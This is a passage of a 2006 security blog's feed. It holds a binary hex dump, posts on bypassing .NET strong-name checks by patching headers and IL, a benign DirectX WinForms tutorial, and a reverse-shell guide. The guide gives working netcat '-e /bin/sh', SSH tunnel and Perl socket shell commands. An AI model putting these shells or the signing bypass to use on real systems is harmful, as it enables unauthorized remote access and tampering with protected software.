.rodata:&lt;br /&gt; 80485e0 03000000 01000200 00000000 00000000  ................&lt;br /&gt; 80485f0 00000000 00000000 00000000 00000000  ................&lt;br /&gt; 8048600 68656c6c 6f002564 2025630a 006e6f74  hello.%d %c..not&lt;br /&gt; 8048610 206e756c 6c207465 726d696e 61746564   null terminated&lt;br /&gt; 8048620 0a000000 00000000 00000000 00000000  ................&lt;br /&gt; 8048630 00000000 00000000 00000000 00000000  ................&lt;br /&gt; 8048640 6e756c6c 20746572 6d696e61 7465642c  null terminated,&lt;br /&gt; 8048650 20616c69 676e6564 206f6e20 38206279   aligned on 8 by&lt;br /&gt; 8048660 74652062 6f756e64 6172790a 00707472  te boundary..ptr&lt;br /&gt; 8048670 5b305d20 3d202563 0a00               [0] = %c..&lt;br /&gt;Contents of section .data:&lt;br /&gt; 804967c 00000000 00000000 cc960408 00000000  ................&lt;br /&gt; 804968c 00860408 41414141 68656c6c 6f383838  ....AAAAhello888&lt;br /&gt; 804969c 00000000 42424242 68656c6c 6f000000  ....BBBBhello...&lt;br /&gt; 80496ac 43434343 68656c6c 6f383838 42424242  CCCChello888BBBB&lt;br /&gt;&lt;br /&gt;RVA 804968c -&gt; 00860408 (08048600) -&gt;"hello"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-115102502634583424?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115102502634583424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/115102502634583424'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/06/char-ptr-hello-and-char-carray-hello.html' title='char * ptr = &quot;hello&quot; and char carray[] = &quot;hello&quot;'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114959692527306334</id><published>2006-06-06T07:16:00.000-05:00</published><updated>2006-06-06T07:28:45.923-05:00</updated><title type='text'>Part 3 Patch binary file directly to bypass strongname security</title><content type='html'>The following tools will make this job very easy, lordPE, winhex, Lutz's .net reflector and ildasm. The easy part first, to bypass strong name security with lordPE is as simple as changing one byte in the PE header-&gt;CLR header-&gt;strongname key check. lordPE has support to directly modify PE header, go ahead and change the key length to 0, usually from 0x80. This change completely disables strong name check on patched binary.&lt;br /&gt;&lt;br /&gt;To reroute/patch binary code flow. Combine the strength of ildasm and .net reflector. .net reflector can generate source code level listing, making code reverse engineering so much easier; also dump a copy of target binary with ildasm with opcode turned on. This creates a dump file with each IL command's binary opcode value available. Find the target opcode sequence in winhex and patch it to whatever result you desire.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114959692527306334?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114959692527306334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114959692527306334'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/06/part-3-patch-binary-file-directly-to.html' title='Part 3 Patch binary file directly to bypass strongname security'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114936306241184401</id><published>2006-06-03T14:30:00.000-05:00</published><updated>2006-06-06T07:14:08.976-05:00</updated><title type='text'>Part 2 Approaching .net protection by decompile/modify/compile</title><content type='html'>There are several tools availble to decompile .net assembly. I recommend two tools, one is the microsoft tool ildasm included in .net SDK distribution. The next one is Lutz Roeder's .net reflector, best free .net decompiler available.&lt;br /&gt;&lt;br /&gt;Run 'ildasm' and open a .net assembly, you will see how the file is broken down to variables, methods, resources, etc. You can dump the assembly to a text file containing CLR intermediate language. Once you have the text file, you can start making changes to the IL. Afterwards, run 'ilasm' on the dumped/modified assembly text file and resource files to generate a modified binary, either a DLL file (use '/DLL' flag with ilasm) or a EXE file. Resources can be included with /RESOURCE= flag.&lt;br /&gt;&lt;br /&gt;Simply modify IL will generate CLR load file exception. This is due to .net strong name security check. Inside the .net IL text file, usually at the begining, you can see that it has  a public key and a hash code used by the strong name security scheme. To bypass strong name check, remove these key related text and recompile. This will do the trick.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114936306241184401?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114936306241184401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114936306241184401'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/06/part-2-approaching-net-protection-by.html' title='Part 2 Approaching .net protection by decompile/modify/compile'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114936291714710153</id><published>2006-06-03T14:02:00.000-05:00</published><updated>2006-06-03T14:28:37.173-05:00</updated><title type='text'>Security model of the .net framework and how to defeat it. Part 1 Basics</title><content type='html'>In this mini series, I will discuss the microsoft .net framework security model. I recommend the following readings as introduction material to understand .net security model.&lt;br /&gt;&lt;br /&gt;.net IL using ildasm and ilasm&lt;br /&gt;Part 1 - Learn to break a .NET Assembly:&lt;br /&gt;&lt;i&gt;&lt;u&gt;http://www.codeproject.com/dotnet/NeCoder01.asp&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Part 2 - Learn to protect your .NET assemblies from being tampered:&lt;br /&gt;&lt;i&gt;&lt;u&gt;http://www.codeproject.com/dotnet/NeCoder02.asp&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Part 3 - Learn to break Strong Name .NET Assemblies:&lt;br /&gt;&lt;i&gt;&lt;u&gt;http://www.codeproject.com/dotnet/NeCoder03.asp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;Understanding, programming and debugging IL .net application:&lt;br /&gt;Part 1 Introduction&lt;br /&gt;http://www.devcity.net/net/article.aspx?alias=msil_1_intro&lt;br /&gt;&lt;br /&gt;Part 2 A short description and .NET application&lt;br /&gt;http://www.devcity.net/net/article.aspx?alias=msil_2_dotnet&lt;br /&gt;&lt;br /&gt;Part 3 Debugging&lt;br /&gt;http://www.devcity.net/Articles/57/msil_3_debug.aspx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tools (It can be said, a hacker is as good as his tools)&lt;br /&gt;New tool:&lt;br /&gt;.NET decompiler&lt;br /&gt;&lt;i&gt;&lt;u&gt;http://www.aisto.com/Roeder/DotNet&lt;br /&gt;ildasm and ilasm (decompiler and compiler of intermediate language)&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;Old friends:&lt;br /&gt;LORD PE (examine and modify PE header)&lt;br /&gt;WINHEX (examine and modify binary file in hex mode)&lt;br /&gt;REGEDIT (studying protection scheme used by certain softwares)&lt;br /&gt;&lt;br /&gt;Now, there are 2 ways to actually patch a .net binary file, the first way is to directly patch the binary file with a hex editor; the second way is to decompile/modify/compile .net intermediate language (IL). Both approaches works equally well and the details of both methods are discussed in the URL links I provided.&lt;br /&gt;&lt;br /&gt;http://groups.google.co.uk/group/microsoft.public.dotnet.security/browse_frm/thread/268e8fab2a7124df/bf09582265c8f154?hl=en&amp;lr=&amp;amp;rnum=2&amp;amp;prev=/groups%3Fq%3DRahul%2BKumar%2Bgroup:*security*%26hl%3Den%26lr%3D%26selm%3D%2523UDXSOX0EHA.3820%2540TK2MSFTNGP11.phx.gbl%26rnum%3D2#bf09582265c8f154&lt;br /&gt;Discusses the method used in this article&lt;br /&gt;&lt;br /&gt;http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx&lt;br /&gt;Has a section of .NET header in figure 10.&lt;br /&gt;&lt;br /&gt;http://www.atrevido.net/blog/CommentView.aspx?guid=f772c18a-f389-4c28-bd6a-a30f4ccc84f5&lt;br /&gt;Details on how to crack .net protection.&lt;br /&gt;&lt;br /&gt;http://woodmann.net&lt;br /&gt;For the old schools.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114936291714710153?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114936291714710153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114936291714710153'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/06/security-model-of-net-framework-and.html' title='Security model of the .net framework and how to defeat it. Part 1 Basics'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114869472843386592</id><published>2006-05-26T20:50:00.000-05:00</published><updated>2006-05-26T20:52:08.450-05:00</updated><title type='text'></title><content type='html'>&lt;h2&gt;Introduction&lt;/h2&gt; This article shows how to use .net windows form controls with managed directx content. Most books/tutorials use a winform strictly with MDX content. But people are more interested in using winform controls together with MDX. This question is frequently asked and not well answered. Here I present a small code project using .net 2.0 and visual studio 2005. &lt;h2&gt;Technique&lt;/h2&gt; The most important part of this project the directx device creation. Normally it's   &lt;pre&gt;device = new Device(0, DeviceType.Hardware, this, CreateFlags.SoftwareVertexProcessing, presentParams);           &lt;br /&gt;'this' is the alias of 'Form' used to represent this winForm.&lt;br /&gt;&lt;/pre&gt; In order to make .net controls such as menu bar etc to co-exist with directx control, I set up a panel to be used by directx.  &lt;pre&gt;private System.Windows.Forms.Panel panel1;&lt;br /&gt;&lt;span class="cpp-comment"&gt;// Initialize panel1&lt;/span&gt;&lt;br /&gt;device = new Device(0, DeviceType.Hardware, panel1, CreateFlags.SoftwareVertexProcessing, presentParams);  &lt;br /&gt;&lt;/pre&gt;To demonstrate that this works, I have provided a simple managed directx project with this project that can be downloaded.  The complete source code:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;using System;&lt;br /&gt;using System.Drawing;&lt;br /&gt;using System.Collections;&lt;br /&gt;using System.ComponentModel;&lt;br /&gt;using System.Windows.Forms;&lt;br /&gt;using System.Data;&lt;br /&gt;using Microsoft.DirectX;&lt;br /&gt;using Microsoft.DirectX.Direct3D;&lt;br /&gt;&lt;br /&gt;namespace Chapter1Code&lt;br /&gt;{&lt;br /&gt;    /// &lt;summary&gt;&lt;br /&gt;    /// Summary description for Form1.&lt;br /&gt;    /// &lt;/summary&gt;&lt;br /&gt;    public class Form1 : System.Windows.Forms.Form&lt;br /&gt;    {&lt;br /&gt;        private Device device = null;&lt;br /&gt;        /// &lt;summary&gt;&lt;br /&gt;        /// Required designer variable.&lt;br /&gt;        /// &lt;/summary&gt;&lt;br /&gt;        private System.ComponentModel.Container components = null;&lt;br /&gt;        private Panel panel1;&lt;br /&gt;        private MenuStrip menuStrip1;&lt;br /&gt;        private ToolStripMenuItem mDXFormWithMenuToolStripMenuItem;&lt;br /&gt;        private ToolStripMenuItem exitToolStripMenuItem;&lt;br /&gt;        private float angle = 0.0f;&lt;br /&gt;&lt;br /&gt;        public Form1()&lt;br /&gt;        {&lt;br /&gt;            //&lt;br /&gt;            // Required for Windows Form Designer support&lt;br /&gt;            //&lt;br /&gt;            InitializeComponent();&lt;br /&gt;&lt;br /&gt;            this.Size = new Size(800, 600);&lt;br /&gt;            this.SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque, true);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        /// &lt;summary&gt;&lt;br /&gt;        /// We will initialize our graphics device here&lt;br /&gt;        /// &lt;/summary&gt;&lt;br /&gt;        public void InitializeGraphics()&lt;br /&gt;        {&lt;br /&gt;            // Set our presentation parameters&lt;br /&gt;            PresentParameters presentParams = new PresentParameters();&lt;br /&gt;&lt;br /&gt;            presentParams.Windowed = true;&lt;br /&gt;            presentParams.SwapEffect = SwapEffect.Discard;&lt;br /&gt;&lt;br /&gt;            // Create our device&lt;br /&gt;            device = new Device(0, DeviceType.Hardware, panel1, CreateFlags.SoftwareVertexProcessing, presentParams);           &lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private void SetupCamera()&lt;br /&gt;        {           &lt;br /&gt;            device.RenderState.CullMode = Cull.None;&lt;br /&gt;            device.Transform.World = Matrix.RotationAxis(new Vector3(angle / ((float)Math.PI * 2.0f), angle / ((float)Math.PI * 4.0f), angle / ((float)Math.PI * 6.0f)),  angle / (float)Math.PI);&lt;br /&gt;            angle += 0.1f;&lt;br /&gt;&lt;br /&gt;            device.Transform.Projection = Matrix.PerspectiveFovLH((float)Math.PI / 4, this.Width / this.Height, 1.0f, 100.0f);&lt;br /&gt;            device.Transform.View = Matrix.LookAtLH(new Vector3(0,0, 5.0f), new Vector3(), new Vector3(0,1,0));&lt;br /&gt;            device.RenderState.Lighting = true;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        protected override void OnPaint(System.Windows.Forms.PaintEventArgs e)&lt;br /&gt;        {           &lt;br /&gt;            device.Clear(ClearFlags.Target, System.Drawing.Color.CornflowerBlue, 1.0f, 0);&lt;br /&gt;&lt;br /&gt;            SetupCamera();&lt;br /&gt;&lt;br /&gt;            CustomVertex.PositionNormalColored[] verts = new CustomVertex.PositionNormalColored[3];&lt;br /&gt;            verts[0].Position = new Vector3(0.0f, 1.0f, 1.0f);&lt;br /&gt;            verts[0].Normal = new Vector3(0.0f, 0.0f, -1.0f);&lt;br /&gt;            verts[0].Color = System.Drawing.Color.White.ToArgb();&lt;br /&gt;            verts[1].Position = new Vector3(-1.0f, -1.0f, 1.0f);&lt;br /&gt;            verts[1].Normal = new Vector3(0.0f, 0.0f, -1.0f);&lt;br /&gt;            verts[1].Color = System.Drawing.Color.White.ToArgb();&lt;br /&gt;            verts[2].Position = new Vector3(1.0f, -1.0f, 1.0f);&lt;br /&gt;            verts[2].Normal = new Vector3(0.0f, 0.0f, -1.0f);&lt;br /&gt;            verts[2].Color = System.Drawing.Color.White.ToArgb();&lt;br /&gt;&lt;br /&gt;            device.Lights[0].Type = LightType.Point;&lt;br /&gt;            device.Lights[0].Position = new Vector3();&lt;br /&gt;            device.Lights[0].Diffuse = System.Drawing.Color.White;&lt;br /&gt;            device.Lights[0].Attenuation0 = 0.2f;&lt;br /&gt;            device.Lights[0].Range = 10000.0f;&lt;br /&gt;           &lt;br /&gt;            device.Lights[0].Enabled = true;&lt;br /&gt;&lt;br /&gt;            device.BeginScene();&lt;br /&gt;            device.VertexFormat = CustomVertex.PositionNormalColored.Format;&lt;br /&gt;            device.DrawUserPrimitives(PrimitiveType.TriangleList, 1, verts);&lt;br /&gt;            device.EndScene();&lt;br /&gt;&lt;br /&gt;            device.Present();&lt;br /&gt;&lt;br /&gt;            this.Invalidate();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        /// &lt;summary&gt;&lt;br /&gt;        /// Clean up any resources being used.&lt;br /&gt;        /// &lt;/summary&gt;&lt;br /&gt;        protected override void Dispose( bool disposing )&lt;br /&gt;        {&lt;br /&gt;            if( disposing )&lt;br /&gt;            {&lt;br /&gt;                if (components != null)&lt;br /&gt;                {&lt;br /&gt;                    components.Dispose();&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            base.Dispose( disposing );&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        #region Windows Form Designer generated code&lt;br /&gt;        /// &lt;summary&gt;&lt;br /&gt;        /// Required method for Designer support - do not modify&lt;br /&gt;        /// the contents of this method with the code editor.&lt;br /&gt;        /// &lt;/summary&gt;&lt;br /&gt;        private void InitializeComponent()&lt;br /&gt;        {&lt;br /&gt;            this.panel1 = new System.Windows.Forms.Panel();&lt;br /&gt;            this.menuStrip1 = new System.Windows.Forms.MenuStrip();&lt;br /&gt;            this.mDXFormWithMenuToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();&lt;br /&gt;            this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();&lt;br /&gt;            this.menuStrip1.SuspendLayout();&lt;br /&gt;            this.SuspendLayout();&lt;br /&gt;            //&lt;br /&gt;            // panel1&lt;br /&gt;            //&lt;br /&gt;            this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;&lt;br /&gt;            this.panel1.Location = new System.Drawing.Point(0, 24);&lt;br /&gt;            this.panel1.Name = "panel1";&lt;br /&gt;            this.panel1.Size = new System.Drawing.Size(307, 275);&lt;br /&gt;            this.panel1.TabIndex = 0;&lt;br /&gt;            //&lt;br /&gt;            // menuStrip1&lt;br /&gt;            //&lt;br /&gt;            this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {&lt;br /&gt;            this.mDXFormWithMenuToolStripMenuItem});&lt;br /&gt;            this.menuStrip1.Location = new System.Drawing.Point(0, 0);&lt;br /&gt;            this.menuStrip1.Name = "menuStrip1";&lt;br /&gt;            this.menuStrip1.Size = new System.Drawing.Size(307, 24);&lt;br /&gt;            this.menuStrip1.TabIndex = 1;&lt;br /&gt;            this.menuStrip1.Text = "menuStrip1";&lt;br /&gt;            //&lt;br /&gt;            // mDXFormWithMenuToolStripMenuItem&lt;br /&gt;            //&lt;br /&gt;            this.mDXFormWithMenuToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {&lt;br /&gt;            this.exitToolStripMenuItem});&lt;br /&gt;            this.mDXFormWithMenuToolStripMenuItem.Name = "mDXFormWithMenuToolStripMenuItem";&lt;br /&gt;            this.mDXFormWithMenuToolStripMenuItem.Size = new System.Drawing.Size(117, 20);&lt;br /&gt;            this.mDXFormWithMenuToolStripMenuItem.Text = "MDX form with Menu";&lt;br /&gt;            //&lt;br /&gt;            // exitToolStripMenuItem&lt;br /&gt;            //&lt;br /&gt;            this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";&lt;br /&gt;            this.exitToolStripMenuItem.Size = new System.Drawing.Size(152, 22);&lt;br /&gt;            this.exitToolStripMenuItem.Text = "Exit";&lt;br /&gt;            this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click);&lt;br /&gt;            //&lt;br /&gt;            // Form1&lt;br /&gt;            //&lt;br /&gt;            this.ClientSize = new System.Drawing.Size(307, 299);&lt;br /&gt;            this.Controls.Add(this.panel1);&lt;br /&gt;            this.Controls.Add(this.menuStrip1);&lt;br /&gt;            this.Name = "Form1";&lt;br /&gt;            this.Text = "Form1";&lt;br /&gt;            this.menuStrip1.ResumeLayout(false);&lt;br /&gt;            this.menuStrip1.PerformLayout();&lt;br /&gt;            this.ResumeLayout(false);&lt;br /&gt;            this.PerformLayout();&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;        #endregion&lt;br /&gt;&lt;br /&gt;        /// &lt;summary&gt;&lt;br /&gt;        /// The main entry point for the application.&lt;br /&gt;        /// &lt;/summary&gt;&lt;br /&gt;        static void Main()&lt;br /&gt;        {&lt;br /&gt;            using (Form1 frm = new Form1())&lt;br /&gt;            {&lt;br /&gt;                // Show our form and initialize our graphics engine&lt;br /&gt;                frm.Show();&lt;br /&gt;                frm.InitializeGraphics();&lt;br /&gt;                Application.Run(frm);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private void exitToolStripMenuItem_Click(object sender, EventArgs e)&lt;br /&gt;        {&lt;br /&gt;            this.Dispose();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114869472843386592?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114869472843386592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114869472843386592'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/introduction-this-article-shows-how-to.html' title=''/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114781627029073197</id><published>2006-05-16T16:47:00.000-05:00</published><updated>2006-05-16T16:51:10.310-05:00</updated><title type='text'>Reverse Shell Guide</title><content type='html'>&lt;p&gt;In this little guide I'll quickly cover three very helpful methods to get a reverse shell on a host, using &lt;em&gt;ssh&lt;/em&gt;, &lt;em&gt;netcat&lt;/em&gt; or &lt;em&gt;Perl&lt;/em&gt;. One may ask, why should I need a reverse shell? Let me elaborate on that.&lt;/p&gt;  &lt;p&gt;People often have a computer in a personal LAN and use a router to get on the internet. These routers usually are NAT (Network Address Translation) routers, what means, that to the internet the network seems to be just one computer, not a whole network.&lt;/p&gt;  &lt;p&gt;From the outside, there is almost no chance to find out how many computers are on the internal network (unless you are used to using &lt;em&gt;hping2&lt;/em&gt;). And, even if you know a computer's IP on that network, you still couldn't access it.&lt;/p&gt;  &lt;p&gt;The situation looks like follows:&lt;/p&gt;&lt;pre&gt;192.168.1.2             \ +--------+&lt;br /&gt;192.168.1.3   \|  NAT   |&lt;br /&gt;         \___ | Router | &lt;---- REQUEST&lt;br /&gt;              |192.168.|&lt;br /&gt;           ___|  1.1   |&lt;br /&gt;192.168.1.4/   +--------+&lt;/pre&gt;&lt;p&gt;When a request reaches the router, it doesn't know what to do and silently drops the packet. Connections made from inside of the network go through the router, but the remote host cannot &lt;em&gt;initiate&lt;/em&gt; a connection to one of the hosts in the network (unless the router features a port forwarding feature, and that's often hard to configure properly).&lt;/p&gt;  &lt;p&gt;But in this situation one could access one of the hosts inside the network using a &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; From now on I'll refer to the computer you want to run the shell on the &lt;em&gt;remote host&lt;/em&gt; and the computer you want to send the commands from &lt;em&gt;your host&lt;/em&gt;&lt;/p&gt;  &lt;h2 id="ssh"&gt;Reverse Shell Using SSH&lt;/h2&gt;  &lt;p&gt;As said above, all connections must be made from inside of the network. That means, if someone wants to connect to one of the hosts inside of the network, the &lt;em&gt;remote host&lt;/em&gt; has to establish the connection.&lt;/p&gt;  &lt;p&gt;That is done with the following command (executed on the &lt;em&gt;remote host&lt;/em&gt;):&lt;/p&gt;  &lt;pre&gt;ssh -NR 3333:localhost:22 user@yourhost&lt;/pre&gt;  &lt;p&gt;The R switch tells SSH to open a reverse shell. The N switch tells SSH not to request a shell on the host it's connecting to but to just initiate the connection.  &lt;em&gt;3333&lt;/em&gt; is the port number the SSH connection will be tunneled through on the remote host. This can also be something like &lt;em&gt;1337&lt;/em&gt;, but be sure to choose a number greater than 1024 unless you are root (that's because the previleged ports up to 1024 can exclusively be used by root).&lt;/p&gt;  &lt;p&gt;If you are prompted for a password, supply &lt;em&gt;your host's&lt;/em&gt; password.&lt;/p&gt;  &lt;p&gt;Now there is a connection from the &lt;em&gt;remote host&lt;/em&gt;, let's say 192.168.1.2, to &lt;em&gt;your host&lt;/em&gt;. On &lt;em&gt;your host&lt;/em&gt; SSH opens port &lt;em&gt;3333&lt;/em&gt; as a gateway to the client 192.168.1.2. You can now issue the following command on &lt;em&gt;your host&lt;/em&gt;:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;ssh user@localhost -p 3333&lt;/code&gt;,&lt;br /&gt;where &lt;em&gt;user&lt;/em&gt; is the username to be used on 192.168.1.2.&lt;/p&gt;  &lt;p&gt;Voilà, you have a working SSH connection to a computer inside of a NAT network!&lt;/p&gt;   &lt;h2 id="netcat"&gt;Reverse Shell with Netcat&lt;/h2&gt;  &lt;p&gt;Even on a host that hasn't got an SSH daemon, there is still a way to connect to it.&lt;/p&gt;  &lt;p&gt;There is a simple tool called &lt;em&gt;netcat&lt;/em&gt;. In the manpage to it is referred as &lt;em&gt;"TCP/IP swiss army knife"&lt;/em&gt;. With netcat you can send out simple TCP/IP requests and receive the responses.&lt;/p&gt;  &lt;p&gt;In addition to that, netcat can also &lt;em&gt;listen&lt;/em&gt; on a specific port. It can even execute a program as soon as a client connects. That makes it perfect for opening up a reverse shell:&lt;/p&gt;  &lt;p&gt;On &lt;em&gt;your host&lt;/em&gt;, you have to listen for an incoming connection (thanks to -v, you'll get a quick note as soon as the shell connects):&lt;/p&gt;  &lt;pre&gt;netcat -v -l -p 3333&lt;/pre&gt;  &lt;p&gt;On the &lt;em&gt;remote host&lt;/em&gt;, the following command has to be executed in order to establish a connection to &lt;em&gt;your host&lt;/em&gt;:&lt;/p&gt;  &lt;pre&gt;netcat -e /bin/sh &lt;em&gt;yourhost&lt;/em&gt; 3333&lt;/pre&gt;  &lt;p&gt;What these commands do is the following: You first set your &lt;em&gt;netcat&lt;/em&gt; to listen for incoming connections and leave it waiting. Then you issue the command on the &lt;em&gt;remote host&lt;/em&gt;, which will then connect to &lt;em&gt;your host&lt;/em&gt; and—as soon as the connection has been established—will execute a shell.&lt;/p&gt;  &lt;p&gt;Again, you have got a reverse shell, though that one is very minimal. You haven't even got a prompt. But still, you can execute commands.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On some systems the program &lt;em&gt;netcat&lt;/em&gt; may be called &lt;em&gt;nc&lt;/em&gt; instead.&lt;/p&gt;  &lt;h3 id="netcatsshreplacement"&gt;Netcat as a Replacement for SSH (though unencrypted)&lt;/h3&gt;  &lt;p&gt;If the &lt;em&gt;remote host&lt;/em&gt; has no &lt;em&gt;sshd&lt;/em&gt; installed (and maybe &lt;em&gt;your&lt;/em&gt; host is behind a NAT router), &lt;em&gt;netcat&lt;/em&gt; can also be used as a replacement for SSH.&lt;/p&gt;  &lt;p&gt;On the &lt;em&gt;remote host&lt;/em&gt;, execute a listening &lt;em&gt;netcat&lt;/em&gt; that'll start a shell as soon as a client connects:&lt;br /&gt;&lt;code&gt;netcat -v -l -p 3333 -e /bin/sh&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;On your host, execute the connecting &lt;em&gt;netcat&lt;/em&gt;:&lt;br /&gt;&lt;code&gt;netcat &lt;em&gt;remotehost&lt;/em&gt; 3333&lt;/code&gt;&lt;/p&gt;  &lt;h2 id="perl"&gt;Reverse Shell with Perl&lt;/h2&gt;  &lt;p&gt;If there is no &lt;em&gt;netcat&lt;/em&gt; installed on the remote machine, you can also try out this very minimal reverse shell written in Perl. It executes every command it receives directly. Because it doesn't run an interactive shell, there is no point in cd'ing to some directory. But you can still do things like &lt;code&gt;echo foo &gt;/tmp/foo&lt;/code&gt;.&lt;/p&gt;&lt;br /&gt;&lt;verbatim&gt;&lt;br /&gt;&lt;/verbatim&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use Socket;&lt;br /&gt;$addr=sockaddr_in('3333',inet_aton('localhost'));&lt;br /&gt;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));&lt;br /&gt;connect(S,$addr);select S;$|=1;&lt;br /&gt;while(defined($l=&amp;lt;s&amp;gt;)){print qx($l);}&lt;br /&gt;close(S);&lt;br /&gt;&lt;/pre&gt;&lt;s&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/s&gt;&lt;p&gt;&lt;s&gt;This little piece of code tries to open a connection to &lt;em&gt;localhost&lt;/em&gt; on port &lt;em&gt;3333&lt;/em&gt;. You'll want to change this to your machine, of course. So before you start the reverse shell, listen on port &lt;em&gt;3333&lt;/em&gt; on your machine using netcat:&lt;/s&gt;&lt;/p&gt;&lt;s&gt;  &lt;/s&gt;&lt;pre&gt;&lt;s&gt;netcat -v -l -p 3333&lt;/s&gt;&lt;/pre&gt;&lt;s&gt;  &lt;/s&gt;&lt;p&gt;&lt;s&gt;Once you see that the reverse shell has connected you can start executing commands...&lt;/s&gt;&lt;/p&gt;&lt;s&gt;       © 2005-2006 Julius Plenz&lt;/s&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114781627029073197?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114781627029073197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114781627029073197'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/reverse-shell-guide.html' title='Reverse Shell 